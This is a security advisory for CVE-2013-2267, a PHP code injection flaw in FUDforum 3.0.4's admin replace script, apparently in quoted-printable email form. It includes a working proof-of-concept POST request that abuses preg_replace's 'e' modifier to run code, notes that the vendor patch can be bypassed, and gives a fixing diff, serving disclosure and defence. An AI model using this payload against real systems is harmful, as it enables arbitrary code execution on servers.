PHP Code Injection in FUDforum

Advisory ID: HTB23146
Product: FUDforum
Vendor: FUDforum
Vulnerable Version(s): 3.0.4 and probably prior
Tested Version: 3.0.4
Vendor Notification: February 21, 2013=20
Vendor Patch: March 11, 2013=20
Public Disclosure: April 3, 2013=20
Vulnerability Type: Code Injection [CWE-94]
CVE Reference: CVE-2013-2267
Risk Level: High=20
CVSSv2 Base Score: 7.1 (AV:N/AC:H/Au:S/C:C/I:C/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20

---------------------------------------------------------------------------=
--------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in FUDforum=
, which can be exploited to execute arbitrary PHP code on the target system=
=2E


1) PHP Code Injection in FUDforum: CVE-2013-2267

The vulnerability exists due to insufficient validation of HTTP POST parame=
ters "regex_str", "regex_str_opt" and "regex_with" in "/adm/admreplace.php"=
 script before using them in the "preg_replace()" function. A remote admini=
strator can send a specially crafted HTTP POST request, inject and execute =
arbitrary PHP code on the target system with privileges of the web server=
=2E=20

The following PoC (Proof of Concept) code executes the "phpinfo()" function=
:


POST /adm/admreplace.php HTTP/1.1
Host: fudforum
Referer: http://fudforum/adm/admreplace.php?&SQ=3D8928823a5edf50cc642792c2f=
a4d8863
Cookie: fud_session_1361275607=3D11703687e05757acb08bb3891f5b2f8d
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

SQ=3D8928823a5edf50cc642792c2fa4d8863&rpl_replace_opt=3D0&btn_submit=3DAdd&=
btn_regex=3D1&edit=3D&regex_str=3D(.*)&regex_str_opt=3De&regex_with=3Dphpin=
fo()


Successful exploitation of the vulnerability requires administrative privil=
eges within the application.

---------------------------------------------------------------------------=
--------------------

Solution:

Official Vendor patch is available here:
http://fudforum.svn.sourceforge.net/fudforum/?rev=3D5596&view=3Drev

However, the above-mentioned patch does not entirely fix the vulnerability,=
 which can still be exploited by other exploitation techniques (such as NUL=
L-byte and others).

High-Tech Bridge Security Research Lab developed the following patch to eli=
minate the vulnerability:

--- admreplace.php.old    Mon Mar 04 15:46:02 2013
+++ admreplace.php    Tue Mar 26 02:51:59 2013
@@ -18,9 +18,7 @@


     if (!$_POST['rpl_replace_opt']) {
-            if ($_POST['rpl_preg_opt'] =3D=3D 'e') {    // Prevent code=20
injection.
-            $_POST['rpl_preg_opt'] =3D 'i';
-        }
+        if(false !=3D=3D strpos($_POST['rpl_preg_opt'],'e')) {=20
$_POST['rpl_preg_opt'] =3D 'i'; }
         $_POST['rpl_replace_str'] =3D '/'. $_POST['rpl_replace_str']=20
=2E'/'. $_POST['rpl_preg_opt'];
         $_POST['rpl_from_post'] =3D '/'. $_POST['rpl_from_post'] .'/'.=20
$_POST['rpl_from_post_opt'];
     } else {
@@ -184,7 +182,7 @@
         if ($regex_str_opt =3D=3D 'e') {
             $str =3D 'Code injection is not allowed!';
         } else {
-            $str =3D preg_replace('/'. $regex_str .'/'. $regex_str_opt,=20
$regex_with, $regex_src);
+            $str =3D preg_replace('/'. preg_quote($regex_str) .'/'.=20
$regex_str_opt, $regex_with, $regex_src);

Disclosure Timeline:
2013-02-21: Vendor notification.
2013-02-28: Secondary Vendor notification.
2013-03-03: Vendor patch.
2013-03-04: Vendor notification about patch bypasses.
2013-03-26: Vendor received our patch that eliminates the vulnerability.
2013-04-02: Still no modification of the official patch from the Vendor.
2013-04-03: Public Disclosure [<a href=3D"https://www.htbridge.com/advisory=
/disclosure_policy.html">Disclosure Policy</a>].

---------------------------------------------------------------------------=
--------------------

References:

[1] High-Tech Bridge Advisory HTB23146 - https://www.htbridge.com/advisory/=
HTB23146 - PHP Code Injection in FUDforum.
[2] FUDforum - http://fudforum.org - FUDforum (Fast Uncompromising Discussi=
on Forum) is a free and open source web discussion forum released under the=
 GPL (version 2) license that is written in PHP and can be used on virtuall=
y any operating system.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.=20

---------------------------------------------------------------------------=
--------------------

Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.